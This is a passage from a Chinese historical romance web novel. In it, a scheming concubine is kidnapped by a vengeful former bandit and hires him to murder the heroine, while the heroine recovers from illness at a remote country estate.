怕是与王玉盈有脱不了的干系。 只是现下王氏早已因为昨日那一桩事而焦头烂额,又哪里还顾得上这事? 除却赵承嘉当街将王玉盈带回侯府,这事闹得沸沸扬扬,影响了侯府的声誉之外,那王玉盈与孙家的这桩婚事更是王氏一力促成,可最后毁了这桩婚事的却又正是王氏的儿子,孙家自是不会这样好说话。 这天一早,孙夫人便亲自来了一趟永宁侯府。 王氏知她过来,忙客气地将人请了进来。 孙家老爷在朝为官多年,虽比不得永宁侯府这样有爵位承下来的,可却也在朝中有些地位。 王氏与孙夫人交好时自是不必多说,二人地位相差不大,便是直呼姓名也只觉亲切。 可如今,王氏这边确实是做错了事,连带着也不得不在孙夫人面前低了一头。 王氏一见孙夫人,面上便先有了笑意,“静韵,我原本便是要去孙府寻你的,却不想你先过来了。” 这倒不是假话,王氏不仅有这般安排,甚至已经是提前备好了礼品,就准备往孙府去了。 但偏偏孙夫人先过来了。 孙夫人听得这话,冷笑一声道:“哪敢让侯府主母上门?” 王氏听她如此说,也在心底叹了口气,可却也只能与她好声好气作了解释。 先是说了赵承嘉与王玉盈那一档子事,“这事原本我也确实是不知的,这王玉盈模样瞧着很是乖顺,前头和离的事从她口中说出来,也都是袁家的过错,我瞧她实在可怜,就连家中父母也无帮衬心思,这才将她接进了侯府来,谁曾想她这样重的心思?” 她一边说着,又接连向孙夫人道歉,将过错尽数都揽了过来,“这事再如何说都是我的不对,我若知晓她是这样的人,怎么也不会在其中牵线搭桥,反而害得你也因此丢了颜面……” 王氏原本性子中是有几分高傲的,孙家地位低了永宁侯府一头,她也没在孙夫人面前如何伏低做小过。 这会儿解释着,却是说了好些道歉的话,更是将早备下的礼品,连同一副上好的红宝石珍珠头面拿了过来。 这副头面孙夫人曾见过一回,那时便是赞不绝口的,王氏自然知道孙夫人喜欢,可这也是她心头好,虽说如今年岁渐长,这副头面也再没了能用上的时候,可她一直还是小心收着。 但今日,为了平息孙夫人心头的火气,她也不得不将这头面拿了出来。 孙夫人确实很是喜欢这副头面,秋和将这头面端上来之后,孙夫人的目光就时不时落在这头面上,总移不开眼来。 瞧见这般景象,王氏便知这事大约已经是成了。 果然,等孙夫人听王氏说要将这头面赠与她,这神色马上便缓和了许多。 王氏跟在后边又好声好气地道歉,最终孙夫人也算是松了口,“这事说到底也不全怪你, 王家那姑娘确实不是个省事的,没嫁进我们孙家来其实也不算坏事。” 这事其实孙夫人昨日夜里便觉得庆幸。 即便她不知其中的内情,也觉得王玉盈能让赵承嘉宛若失去理智一般当街将她带走也是个心机颇重的。 这样的人纵然身后可能并无倚仗,但却也绝不会是个好拿捏的。 倘若当真将她娶进门来,还不知会闹出什么事端来呢。 如今也算是及时止损了。 王氏听了这话,想到如今这王玉盈算是彻底赖在侯府,再如何都甩不开了,也不由苦笑,“是啊,这样的人当真还是要避而远之。” 孙夫人也想到如今王玉盈少不了是要入侯府的,看向王氏的目光中也不由多了几分同情。 这永宁侯府,怕是没有太平的时候了。 两人正说着,外间有婢子进来传话,说的竟是李氏到了。 一听是李氏到了,孙夫人也知王氏怕是要费不少心思应付,左右她今日过来拿了不少好东西,就连那副头面也收入囊中,心底那口气也算是顺过来了,于是起身道:“那我便不打扰你了。” 王氏答应着请人将孙夫人送出门去。 出院门时孙夫人还与那李氏打了个照面,李氏像模像样地过来打了招呼,只是孙夫人却没怎么搭理她。 李氏也没太将这事放在心里,比起这事,她今日过来,可是有正事的。 昨日那桩事传到她耳中的时候,她也是吃了一惊,先是慌得不行,可后来稍稍冷静些,却反应过来这也不算坏事。 至少瞧赵承嘉这副模样,对王玉盈也是有几分真心的。 攀上谁家不是攀附,在永宁侯府虽做不成正妻,可侯府的地位却也不是孙府能比得上的。 况且事已至此,也不由着她来选。 只是这机会却不能错过。 她想着,就算只是个侧妃的位置,也总要借着这个机会定下来才是,否则纵然这事闹得再大,也不过白折腾一场。 于是今日一早,李氏便过来了。 见了李氏,王氏的态度自然与应对孙夫人不同。 王玉盈昨日闹的那一场已经是让她对王家人彻底没了好印象,对原本就是来找麻烦的李氏,自然是不会有好脸色了。 但李氏早已做好心理准备,即便对上王氏冷脸,面上依旧堆了笑,“老夫人,既然昨日那事已经闹得人尽皆知,我瞧着两个孩子也是当真有些情意,我们这些做长辈的,便也就不做那棒打鸳鸯的事儿了罢?” 她这一开口,便说出了此行的目的。 赵承嘉既然拦下了轿子,且当着那么多人的面将王玉盈带走,那总归是要负责的。 听了这话,王氏脸色越发不好,她冷笑道:“你的女儿这般满腹算计,实在是厉害,我们侯府庙小,怕是容不下这尊大佛!” “老夫人这话说得可是不对。”李氏面上依旧挂着笑,可话语中却并无半分让步的意思,她道:“原本一切安排得妥当,若是侯爷没有这种心思,任凭阿盈怎么算计,也不至于被截了轿子。” “如今这事早已闹得人尽皆知,阿盈如今人也是在侯府的,如此,侯府这边倘若连个说法也不肯给,却有些说不过去了。” 她这话说得直白,却也是心里话。 王氏抿了口茶水,心里也已经有了主意,她知道这位置是不能不给的,若是一直拖着,怕是赵承嘉那边也不会答应,反而还和她闹了不痛快,与其如此,倒不如由她做主,先将这事定下来。 于是道:“你女儿要入侯府也可以,那我便做主将她纳作承嘉的妾室,往后,也算是侯府的人了。” 李氏还没来得及高兴,就听王氏竟说只给个妾室的位置。 她面上的笑意有些维持不住,可还是强撑着道:“怎能是妾室的位置,不说两个孩子原本便有些感情,更说侯府与我们王家也是有些情缘关系的,阿盈又是一直唤您姑母的,您总还是要疼一疼这孩子的。” “正妃的位置我们是不敢想的,但好歹给阿盈留个侧妃的位子,也算全了体面。” 但王氏哪里是那样好说话的,她只冷冷说了句,“都到了现在这份上了,也不必说这些攀附亲戚的话了,但凡你那女儿做那些事的时候顾及到了我这个所谓的姑母,也就不至于如此,我说了,只有个妾室的位置,再高,你那女儿也配不上。” 她看向李氏,嘲讽道:“你若是不满意,只管将你那女儿带回去便是!” 李氏脸色一白,虽有心想要再争取争取,可到底也是不敢再说了。 她此番过来是为了让这事再无回转的余地,并非是向彻底与永宁侯府闹翻的。 这于她,于整个王家,都没有半分好处。 眼下虽只是个妾室的位置,但总好过无名无份,她也知道王玉盈是个会算计的,定不会安分于一个妾室的位置,再加之赵承嘉的心里有她,往后一步步往上爬,恐怕也不会是难事。 如此想着,李氏心中也安定许多,点头应道:“只要老夫人愿意收留,妾室便妾室吧,两个孩子能好好在一起,我便也没什么心愿了。” 王氏听着李氏即便到了此时,嘴里依旧说着这些好听的话,仿佛她今日来这一趟,当真只是为了让赵承嘉与王玉盈能好好在一起,并非是为了别的利益一般。 实在是会伪装的。 不过想到此处,王氏倒是不由想起王玉盈来,母女二人在说话做事这方面果真是如出一辙啊。 这事既然已经是定下,王氏是一点也不愿意再多看李氏一眼,于是随便寻了个由头便让她离了侯府。 李氏的目的也已经达成,自然也是不会再有纠缠。 而当日夜里,王氏便将王玉盈与赵承嘉一同叫了过来。 说是用晚膳,其实大家都心知肚明是为了何事。 等两人都到了,王氏才开了口,“阿盈如今怎么也算是我们侯府的人了,昨日那样闹了一遭,若还是连个位分都没有,也说不过去。” 王玉盈听了这话眼眸微亮,可却还是垂首道:“一切但凭姑母做主。” “既是已经要嫁入侯府来了,那便不要再唤我姑母。”王氏看她一眼,见她点了头才接着道:“承嘉,往后阿盈就是你的妾室,这事本不算光彩,纳妾更是没必要操办什么,人既然都已经入府来了,同府中人说一声便是。” 王氏说了许多,王玉盈却好似只听到两个字,那便是“妾室”。 怎么会是妾?再不济也当是个侧妃的位置。 她看向赵承嘉,指望着赵承嘉能为她说些什么,好歹争取一个侧妃的位置。 而赵承嘉听了这话也确实皱了皱眉,正要开口说些什么,但王氏却好似早知道会有这一出,于是反而先开了口,“眼下侯府并不太平,若是给侧妃的位置未免高调了些,况且……” 她笑着看向王玉盈,“想来阿盈的性子,定是不会在意什么身份地位之类,只要能陪在承嘉身边,就已是足够吧。” 第28章 王氏摸透了王玉盈的性子,也知她如何想,于是便故意将这话说到了前边。 如此,王玉盈即便有心想再争取,却也不好再将那话说出口了。 否则,便成了在意身份地位之人,怕是赵承嘉心底,也免不了会有些不舒服。 所以王玉盈不仅不能再表现出对这妾室之位不满来,甚至还只能面上挂了笑意,多谢王氏这般安排。 而赵承嘉原本有心想争取一番,可听王氏那 般说,又见王玉盈也并未对此不满,也觉得是自己想得多了些。 阿盈也曾说只要留在自己身边便足够,身份地位之类不过是身外之物,确实是不要紧的。 这般想着,他便也没再多说。 而王玉盈,也只能生生咽下这个哑巴亏了。 *** 纪萝的马车一路向南,却是到了第四日深夜才到了庄子。 这庄子原本便是永宁侯府的产业,只是所处的位置偏僻了些,后来便一直闲置着。 里边留下的不过是一个陈姓的管家,还有几个粗使的婆子罢了。 因着提前得了消息,所以纪萝等人到时,庄子里的这些人都齐齐前来迎接。 数日奔波,纪萝又是才落了胎,身子已经是颇为不适。 可见庄子的这些人纷纷过来迎接,她还是强撑着去见了这些人,也都一一给了赏。 庄子里并无旁人住着,纪萝来了自是住在主院,陈管家早已提前安排了了清扫干净,日常所需的物品也都已经备下,所以住下倒也算方便。 陈管家与那些婆子仆从也都是识礼的,眼见天色不早,过来见过礼之后都纷纷退了下来。 纪萝累了数日,洗沐过后便歇下了。 可当夜她周身却越发烫得厉害,入睡前本不过只有些头昏脑胀,那时纪萝便以为只是这些时日过于疲累的缘故,等好生歇一晚便好了,所以也不曾多想。 只是等入睡后,那阵昏昏沉沉的感觉并未减轻,反而越发厉害,而且浑身仿佛置身于火炉之中,不多时,浑身已经都被冷汗浸透,湿湿黏黏的热意将她包裹,让她甚至连喘息都变得艰难。 好在她意识竟还残留了几分清醒,她强撑着支起身子唤芸枝进来。 尽管她已经尽力拔高了声音,可她能发出的声音却依旧不算大。 好在芸枝睡得并不算沉,即便只是细微的动静她也觉察出不对来,慌忙进了里屋。 果真瞧见纪萝情况很是不好,她紧闭了眼眸,鬓发皆已经是被冷汗浸湿,脸色更是苍白得吓人。 芸枝顿时心底一慌,眼下她们可不是在永宁侯府,而是在郊外的一处庄子。 过来的路上她便已经看过周遭的模样,这样的地方,要寻个像样的大夫可不容易,更别提说是在这深更半夜的。 芸枝没有别的法子,只能赶快去寻了刚来时见过的陈管家。 那陈管家是负责看守庄子的人,在这庄子也住了许多年了,对这里应当是最为熟悉不过,要寻大夫,可能还得让他帮忙。 芸枝才来,并不知陈管家的住处,好在出了院子之后恰好碰上了守夜的婆子,向她问了路之后才寻到了陈管家。 陈管家听说纪萝正病着,面色也微微变了变,“附近镇上倒是有大夫,只是这医术却并不算多好,平时也就给人瞧个着凉发热之类,再有旁的病症便束手无策了。” 纪萝此番来这庄子,虽说陈管家等人心里都明白这位夫人定是得罪了侯爷所以才会被送来此处,可即便如此,这位夫人在他们眼中那也是金贵的主子,是不能出了岔子的。 所以这会儿也是有些慌了神。 “夫人瞧着像是发热,也不知是否是着了凉的缘故。”芸枝急得不行,“不论如何,还是先将那位大夫请来罢。” 陈管家听她如此说,也忙吩咐人去请大夫。 而此时纪萝的情况却越发不好,原本意识还算清醒,但这会儿却已经完全昏昏沉沉地睡了过去。 芸枝碰了碰她的额头,更是滚烫得吓人。 这般焦躁地等了快半个时辰,去请大夫的人却过来回话,说是镇上的李大夫这几日去附近村子采买药材去了,一时半会的怕是回不来。 “李大夫是我们这附近镇上唯一的大夫。”陈管家叹了口气,“他每个月总会安排些时间去附近村子做游医,给人看病,也收些需要的药材,没曾想今日却正赶在这时候。” 芸枝万万没想到她们运气竟是这样不好,偏偏遇上这大夫不在的时候,她看着纪萝这般痛苦模样,更是连眼泪止不住地落下,“难道眼下就没有别的法子了么,偌大的庄子,竟是连个会医的都没有?” 那守夜的婆子听着这话,迟疑了好一会却还是上前问了句,“夫人可是……才落了胎?” 芸枝闻言向那婆子的方向看过去,连连点了头,“是,夫人几日前才落了胎,但前头瞧着只是身子虚弱了些,倒是并无大碍,只是今日才……” 这种事原本算是隐秘之事,按理来说并不应当这般示于人前,可奈何纪萝现在的情况实在不好,芸枝也不是那样没脑子的,所以才尽数说了。 她看向那婆子,眼底也生出些希望来,“您是懂些医术么?” 那婆子听了这话有些不好意思地摇了头,“只是从前在一些夫人小姐身边做过事,见过女子小产落胎之后的一些症状,对这些事了解得多些罢了。” 事到如今,芸枝也寻不到别的法子,只能死马当作活马医了,忙上前拉着那婆子道:“还请您帮我家夫人瞧瞧!” 陈管家也道:“眼下也没有别的法子了,李婆子,你要是当真会,就试试看吧。” 李婆子迟疑了片刻,到底还是上前瞧了纪萝的情况。 陈管家等人退到了外间等着,李婆子给纪萝试额头的温度,又检查了纪萝的眼睛,忙了好一会后才同陈管家说了几样常见的药材,陈管家听完都有些意外,“就这些吗?” 李婆子点头,“尽快拿了熬成汤药给夫人服下吧。” 陈管家一咬牙,吩咐人尽快去取了药材熬汤药。 因着实在是些再寻常不过的药材,甚至庄子里都有备下,所以并不费太大功夫就备齐了药材。 等汤药熬好的间隙,李婆子又与芸枝来来回回地用浸湿的帕子给纪萝敷在额头上降温,虽说成效不大,可也算有些用处。 汤药熬好之后,芸枝小心翼翼地给纪萝喂了进去,虽说一碗汤药只有半数喂了进去,可半个时辰后纪萝的温度确实降了下来,状态平稳了许多。 瞧见这般景象,芸枝终于是松了口气,连连同李婆子道谢。 李婆子笑着道:“瞧夫人这模样,应当是没什么大碍了,只是这些时日还需好生养着身子才行。” 芸枝又是连连答应着,这才将李婆子与陈管家等人送了出去。 眼见这事了了,陈管家也是松了口气。 再如何说也是位金尊玉贵的夫人,倘若来庄子的第一日就出了事,侯爷追究起来,他是万万担不起这个责任的。 不过这李婆子也是当真有些本事,从前只见她是个做粗活的,却不想从前还在大户人家的夫人小姐身边做过事,今日当真多亏了她。 翌日,纪萝再醒来时周身已经是轻松许多。 芸枝将昨日夜里的事尽数禀报了,还特意提了那李婆子,“这庄子里人虽不多,可有本事的却是不少,昨夜那李婆子瞧着不起眼,可倘若不是她,我们还当真不知该怎么办了。” 听芸枝这般说着,纪萝也对她口中那位李婆子有些好奇,再加上昨夜她帮了不少忙,纪萝总要给些赏赐才成,所以令芸枝去请那位李婆子过来。 芸枝笑着答应,很快去将人请了过来。 这李婆子不愧是曾经在大户人家伺候过的,礼数很是周全,见了纪萝后便先规规矩矩地见了礼,并未因着昨日救了纪萝一回就挟恩图报的意思。 纪萝见她举止有度,心底对她又更是满意了几分,先颔首让他们起身,而后又让芸枝给她拿了银子作赏赐。 李婆子原本是不肯收下的,“为主子分忧本就是奴婢的本分,不敢要主子的赏。” “你昨日有功,应当赏的。”纪萝道:“有赏才能有罚,这银子也不算多,你且收着吧。” 李婆子这才收了下来,道:“多谢夫人赏赐。” 纪萝点头,又问道:“你唤 作什么名字?” 李婆子一愣,似乎没想到纪萝会这样问,她迟疑道:“奴婢姓李,名唤吉香。” “吉香,是个不错的名字。”纪萝点头,又问道:“吉香,我听芸枝说你从前是在大户人家的夫人身边做事,对女子落胎小产之后调养身子之类,算是比较了解罢?” “是。”吉香应道。 纪萝心里已经有了安排,便道:“如此,往后你便留在我身边做事,我才落胎不久,正是需要用心调养的时候。” 吉香听得这话,自是应着,“全凭夫人安排。” 第29章 王玉盈为妾的事情已经是定了下来。 那日她回了观荷院之后其实也发了一通火,可偏偏是在侯府,即便发作,也是得小心翼翼地关起门来,连个茶盏都不敢砸。 实在是憋屈地不行。 而既只是个妾室,依着王氏的意思也不必要太过张扬,如此反而更是惹人注意,所以也只简单做了安排,甚至连嫁衣都不曾特意备下。 这些事原本就让王玉盈心里起了疙瘩,可想到赵承嘉的心思好歹还是在她身上的,甚至在为妾这事上边,她以退为进,更是得了不少怜惜,所以心底也算有些慰藉。 但不想他们“成婚”当夜,赵承嘉竟是不曾来观荷院。 虽提早让人传了话,说是有公事绊住,可这到底让王玉盈心底越发不安定起来。 她成过一回婚,面容虽还算年轻,可年华易逝,往后这府中怕也少不了会添新人,到那时她若还只是个侍妾,恐怕…… 想到此处,她的心不断收紧,越发笃定要将那个位置抢过来。 这样至少等她抓不住赵承嘉的心之时,还能坐稳那个位置。 一夜不得好眠,第二日却也没法歇息。 她照例去华庆院向王氏请安。 许是因为今日是王玉盈作为赵承嘉妾室向王氏请安的第一日,王氏倒是见了她,只是与她关系早不似从前亲近,说的话也颇有警告意味,大多只是让她既然如今已是进了门,便要安分之类。 王玉盈听着心里很是不舒服,但也不能显露,都只能一一应着。 最后,王氏也没有要赠与她东西的意思,训诫的话说完就让她回去了。 王玉盈心底越发憋屈,偏偏也不能发作,只能忍着火气离开了华庆院。 也不怪王玉盈不高兴,即便她只是个妾室,可按理来说今日是她 第一回见了婆母,王氏心中如何不喜她是一回事,面子功夫却还是要做的,给的东西差一些也不要紧,可无论怎的都是要有。 否则,便是直接告诉府中那些个下人,她这个做婆母的不喜了。 王玉盈从华庆院出来后,果然见周遭一些府中下人的目光都若有似无地放在她身上,虽不曾说什么,可王玉盈却能想象到他们背地里当是如何谈论自己。 凝露见王玉盈心情实在不好,便提议道:“姑娘如今已经是侯府的夫人了,不说旁的,总也该添置些首饰才是,这样才配得上您如今的身份。” 凝露向来是会说话的,她不提王玉盈如今的妾室身份,反而只称她为夫人,更是将她如今的身份捧得极高。 而这话也正说中了王玉盈的心坎,她垂眸瞧了瞧自己身上的这一身装束,点头道:“是该添置些衣裳首饰了。” 从前她以表小姐的身份住在侯府,见纪萝的衣裳也好,首饰也好,都嫉妒地不行,明明她嫁与袁庆生后也得了不少华贵之物,可不知怎的,她就觉得纪萝身上那些物件要好上许多,而她得到的那些即便再如何华贵,也不过是沾满铜臭气味的东西罢了。 眼下她也入了侯府,该添置些东西了。 于是回了观荷院换了身衣裳,自然也没忘记带上帷帽将面容遮掩住。 若是从前,这帷帽带与不带其实都没有太大干系,只是最近这些时日赵承嘉当街将她带回侯府的事闹得颇大,那日,也有不少人瞧见了她的面容。 她不想被人指指点点,便也只能用帷帽遮住面容了。 午后的街市上,其实来往的人并不算多,王玉盈与凝露进了好几家在上京颇有名气的首饰铺子,买了好几样首饰后又去了布庄挑了几匹正适合夏日的轻薄布料。 这般逛下来,不觉间已经过去好几个时辰,天色也渐渐暗下来。 王玉盈瞧着时辰差不多,正打算要回去,可正当这时却隐约感觉身后似有不同寻常动静。 此时天色渐晚,街市上来往行人更是稀少,可王玉盈身后却总有脚步声响,似乎是有人在不远不近地跟着她。 王玉盈的心底有些不安,也只得加快了脚步。 侯府的马车停在街市的尽头,等上了马车便应当无恙了。 可身后那脚步声响却越发逼近,等她听得身后传来一阵古怪响动,便下意识转头看去,只见凝露已经被敲晕在地,而她再抬眼,还没来得及瞧清楚面前那壮硕男子的模样,就感觉肩膀处传来一阵闷痛,而后便失去了意识。 再醒来时周遭唯有微弱的光亮,王玉盈努力睁大眼睛,等看清面前那壮硕的男子面容后顿时被他那满脸的刀疤唬了一跳,“你……你是什么人……” 那男子见王玉盈醒来,目光阴冷地盯着她,“怎么,被我脸上的伤疤吓到了?” 他逼近王玉盈,用力捏住了王玉盈的脸,迫使她看清脸上那可怖的伤疤,“倘若不是你,我怎么会变成这副模样!” 王玉盈害怕得浑身发颤,“我……我不认识你啊,你是不是认错人了……” 眼前的面容对于她而言确实是极为陌生的,她实在想不起来自己是否是再哪里见过这人,更不提说与他会有什么恩怨了。 那人冷笑,嘴角咧开牵动着面上横纵交错的疤痕,倘若不是被他死死捏住了下巴,王玉盈是怎么也不敢与他这般靠近的。 “你自然是不记得我。”他提醒道:“可京郊的匪徒,你应当是不会忘记的吧?” 听了这话,王玉盈意识到什么,“你是……” 那人见王玉盈终于回想起来,面上神色越发可怖,他阴沉的目光在王玉盈的身上游走,宛如正吐着信子的毒蛇,“若不是你,我和兄弟们还在山上喝酒吃肉,日子要多好过便有多好过。” “就是你引着那些官府的人过来,将一切全毁了,我的兄弟所剩无几,就连我,也变成了这副鬼见了都害怕的模样!” 他的声音嘶哑,粗粝的手摩挲着王玉盈的脖颈,而后猛然收紧,“上天有眼,你如今落在了我的手里,那就为我的那些兄弟偿命吧!” “等……等等……”王玉盈的呼吸变得艰难,她用尽全力从喉咙里挤出声音来。 她不能就这样死了,她好不容易重活一世,怎么能就这样不明不白的丢了性命? “你还有什么话要说?”那人眼眸眯起,可到底稍稍松开了手,给了王玉盈留下最后遗言的机会。 王玉盈捂住喉咙的位置,止不住剧烈咳嗽起来,她一边喘息着,一边看向那人,“我如今是永宁侯府的夫人,你若是杀了我,侯爷不会放过你的……” “你威胁我?”那人显然并不惧怕,“我如今都这般模样了,你以为我还怕死?能在临死前将你们这样身份贵重的人拖死,也算不亏了!” 说罢,他又要动手。 王玉盈慌忙道:“等等!我们或许可以做个交易!” 即便已经处于如此险境中,王玉盈依旧想着如何算计纪萝。 她想到纪念日若是她真的这般丢了性命,那想来不多时纪萝就会重新回到侯府,依旧会问问坐在侯府夫人的位置上。 而她,什么也得不到。 也就在这一瞬,她突然想到眼前这虽是危机,可更多的,或许也是契机。 她不是正愁不知该如何对付纪萝,担心纪萝重新回了侯府之后依旧会压她一头么,那倘若纪萝死在了那郊外的庄子里呢? 纪萝死在那样的地 方,无人会将这事与她攀扯上关系,可到那时,侯府夫人的位置就空出来了。 她若能再给赵承嘉怀个孩子,一切自然是水到渠成。 所以此时的她看向眼前这凶神恶煞之人的眼神中早已没了畏惧,而是笃定,“你帮我杀一个人,我可以给你报酬。” 那人一愣,不由皱了皱眉,“你莫不是被吓疯了?” 他视她为仇人,恨不得将她杀之而后快,她此时难道不应当苦苦哀求,让他饶她一条性命么,可她不仅不求,反而竟是要令他去杀人? 实在是疯了。 可王玉盈的神色却越发认真,“你方才说你的兄弟大多丢了性命,说明除了你之外,你应当还有好几个活着的兄弟是不是,你如今孤身前来,也是想给他们留一条活路。” “只是如今这样的世道,若你们想活着,想活得好,最需要的便是银子,只要有了银子,你们自可以脱胎换骨,去别处好好活下去,这总比你们如今这般流离失所,四处逃窜,连个安身立命的所在要好上许多吧!” 王玉盈说的这些话其实也只是半蒙半猜,想着赌一把罢了。 毕竟眼下,她已是没了旁的法子。 而那人听完王玉盈这话,神色当真多了几分迟疑,这说明王玉盈的话并不曾说错,而他说要与王玉盈同归于尽,也不过是实在没了法子罢了。 只要还能活下去,任凭是谁都不会那样甘心死去。 更何况他从当初那场围剿中逃出来那般不易,又怎会是愿意随意舍了性命之人呢? 但他显然是信不过王玉盈的,那双幽深的眼眸死死盯着王玉盈,想从她的神色中寻到撒谎的痕迹,“你是害了我的仇人,我为什么要相信你?” 第30章 “我是永宁侯的妾室。”话说到这份上,王玉盈知道倘若她再有隐瞒,万一被这人觉察出不对来,那她莫说是想杀了纪萝,便是她自己想活着离开此处,都是难事。 所以她索性与眼前这人将她与纪萝间的利害关系尽数说了,“我既想做侯府的正室夫人,那必定是不能容下纪氏活着回来的,你若能杀了她,我自当给你酬谢,如此你手里也握了我的把柄,我也无法对你如何。” “到时候你们拿了银子,远离上京便能改头换面,再不需像如今这般东躲西藏了。” 王玉盈的话确实有些诱惑力,那人迟疑几番,到底开口道:“我要五百两定金,明日一早,依旧送到此处来,等事成后,你在给我五百两,之后我便离开上京,你我二人,只当从未见过。” 他要得实在不少,可王玉盈想到能杀了纪萝,便是再多一倍的银子也值得,于是咬牙应了下来。 那人见她应下,也终于松开她来,“别想使手段,否则我便是豁出这条命去,也定不会让你好过。” 王玉盈瞧见在微弱光亮中骤然逼近的可怖面容,又是不免吓了一跳,但很快缓和过来,尽可能冷静应道:“你放下,我也正需你们帮我杀了她,我比任何人都希望我们这次合作能顺利进行。” 那人起身,离开之前冷冷撂下一句,“最好是这样!” 等那人走后,王玉盈又是缓了好一会才彻底醒过神来,她勉强爬起身来后发现凝露其实也被随意丢弃在一旁,不过被敲晕了过去,于是忙将人叫醒。 凝露显然不知发生了何事,只觉身上疼得厉害。 王玉盈顾不上与她多做解释,只警告她今日之事绝对不要与旁人言说,只当作什么都不曾发生便好。 凝露自是不敢不应。 两人从那破烂的杂物房中出来,才发觉这竟是上京一处破庙,因着没什么香火,里间连个和尚也没了,放置于正中间的佛像也脏得不成样子。 这种地方莫说是夜里,即便是大白天,也是人迹罕至的所在,确实是个对人动手的好地方。 而这处距离永宁侯府也不算太远,但这般折腾了一番,二人回到侯爷也已经是深夜。 不过侯府中馈刚交回到了王氏手中,这些时日她都忙着核账,心思自然不在王玉盈身上,而赵承嘉近些时日更是忙碌。 朝中如今局势颇为不稳,从当今天子缠绵病榻之后就有诸多传闻流传,景王谢晟早有心皇位,如今更是蠢蠢欲动,这般局势之下,朝中自然也不免开始有站队的迹象。 他是在朝官员,又因剿匪一事立下不小功劳,有心拉拢他的人自然也不在少数。 而要应付这些人可不是件容易的事儿,一旦得罪了人,往后怕是不会好过。 所以赵承嘉这些时日可当真是谨小慎微,如履薄冰,他没空将心思放在王玉盈身上也并非是谎话,是当真忙得全无空闲时间。 若是往日,王玉盈少不得为赵承嘉没来观荷院而烦心,可今日她却万分庆幸赵承嘉不在,不至于察觉今日夜里的事。 一回到观荷院,她便将妆匣中那些首饰尽数拿了出来。 从前她在袁家的那些首饰大多被李氏拿了去,后头王绍也用尽法子向她要了几回银子,她手头的银子其实是不多的。 而那人却又是狮子大开口,光是定金便足足要了五百两,王玉盈唯一能想到的法子便是将手头的那些首饰尽数变卖了,如此或许才能凑够这个数。 她将那些首饰塞给凝露,咬牙道:“你明日一早就将这些首饰拿去尽数变卖了,凑够五百两银子后拿去那破庙门前,到时候会有人来,你将这银子给他便是。” “姑娘要将这些全都变卖了?”凝露吃了一惊,目光落在那妆匣上,“这对珍珠钗子,还有这只白玉镯子,这些不都是素日姑娘最喜欢的么?” 王玉盈看了一眼那些首饰,眼底其实是有些不舍的,可想到纪萝,她到底是狠下心来,“这些不过身外之物,你只管拿去当了便是,旁的不要多问。” 听自家主子都这般说了,凝露也不敢再多言,只能应下。 见她应下,王玉盈又叫住她,再度叮嘱道:“此次的事,半个字都不许与旁人说,否则,我落不着好,你是我的婢子,也必定没有好下场。” 凝露被王玉盈那带着狠戾之色的眼神吓到,连忙应着。 *** 有吉香这个擅长调理身子的婢女在,纪萝的身子一日日的好了起来。 住在这庄子里分外清静,更是没有诸多烦心事扰人,纪萝觉得反而比从前住在永宁侯府时轻松许多。 只是唯有一事不好。 这庄子实在是缺了银钱。 永宁侯府每月会拨给庄子的银钱非常有限,算来给府中的管家仆从发了月钱之后就所剩无几了,从前纪萝不曾过来时到了罢了,左右这庄子也不曾住人,那些管家仆从每日将庄子清扫整理便也就足够。 可如今纪萝来了,偏偏她又是才落了胎,饮食用药都需得讲究,这里边便要添不少银子进去。 而赵承嘉,可并未有因着纪萝来了此处便要多拨些银子的打算。 毕竟他原本便盘算着让纪萝在这庄子里吃些苦头,等熬不下去了,自然愿意回过头来向他认错。 倘若给庄子里拨了银子,反而让纪萝在这边过得极好,岂非与他原本目的背道而驰了? 纪萝从永宁侯府离开时,身子带的银子原本就不多,也是赵倩桐在她临走前给她塞了一笔银子,这银子才算让她撑到了如今。 只是往后时日还长,总归是不能这般坐吃山空的。 纪萝百无聊赖的盯着院子里的一片空地发愣,心想着有什么法子能解了眼下困境? 她针线活一般,字画也不到能让人花银子求购的地步,若要挣银子,还当真是件难事了。 从前她在 纪家虽不得重视,魏氏也总算计她,可到底也算是个管家的小姐,无论如何不到需得为生计发愁的地步。 但眼下,赵承嘉偏偏就将她逼到了这般地步。 而越是如此,她便越是不能让步。 无论如何,都总比回永宁侯府好。 她盯着这片空地看了许久,脑子里突然萌生出一个念头来,她转头看向一旁芸枝,“芸枝,你说这一片空地,是不是很适合种些青菜?” 芸枝一愣,颇有些意外道:“奴婢以为姑娘会想在这栽一片花,不想……” 纪萝摇头,“若是从前大约会有这般念头,可如今,却还是衣食住行最为要紧。” 她说着上前比划,“这一块种些茄子豆角,这一块种白菜,这边……这边不如看看能不能养些鸡鸭之类,这样鸡蛋鸭蛋都不需去外边买了,若是多了指不定还能卖些出去,这样不仅能省下一笔银子,指不定还能挣些银子!” 芸枝看着纪萝这般认真规划的模样,忍不住笑了,“姑娘这般算着,我们或许当真能靠这庄子大挣一笔了!” 纪萝故作认真地点头,“到时候我们富甲一方了,那咱们芸枝姑娘可不能嫁给旁人,要与我做一辈子生意了!” “姑娘净知道打趣人!”芸枝顿时红了脸,有些羞恼的扭过头去。 主仆二人正说着,陈管家却匆匆进来向纪萝禀话,“夫人,咱们庄子门口晕倒了一个约莫二十来岁的年轻人,怎么都叫不醒……” 陈管家性子良善,他如此说定然是想将那救那年轻人的,只是眼下纪萝来了庄子,再如何也算是庄子的主人,他要将人带回来,总是要问过纪萝的意思才成的。 “将人扶进来吧。”纪萝向来不是心硬的,听陈管家如此说了,自然生了救人的心思。 陈管家答应着,很快让人去将那年轻人扶了进来。 纪萝见那人嘴唇干裂,脸色发白,于是先吩咐人给他喂了水。 半碗水喂下去后,这人才幽幽转醒,他见了周遭的景象,眼底似有迷茫。 直至纪萝开口问他来历,他才回了神,竟拉住纪萝的衣袖哀求道:“夫人,我实在没了去处,可否让我留在您身边做事,不求银钱,只要能管一口饱饭便足够!” 纪萝一愣,有些迟疑道:“你家在何处?听你说的是上京的官话,原本是上京人氏罢?” 那人点头,“是,我本是随家中父母一同去往外地做生意的,只是途中遇了悍匪,我侥幸保住了一条性命,可孤身一人,却也不知到底该去往何处了。” 纪萝没忍心再细问,想起自己正有将院子前边这片空地用作种植农桑,庄子里的下人原本就不多,况且他们也各自有自己的活计要干,而若是只凭着自己与芸枝,即便再加个吉香,恐怕也是不够的。 而若是将眼前这人留下,却正好能解决了这问题。 于是问道:“你唤做什么名字?” 那人抬眸,纪萝这才发现他生得很是好看,眉目清隽,唇色略有些苍白,反而有几分病美人的姿态,他道:“回夫人的话,我姓周,名唤南星。” 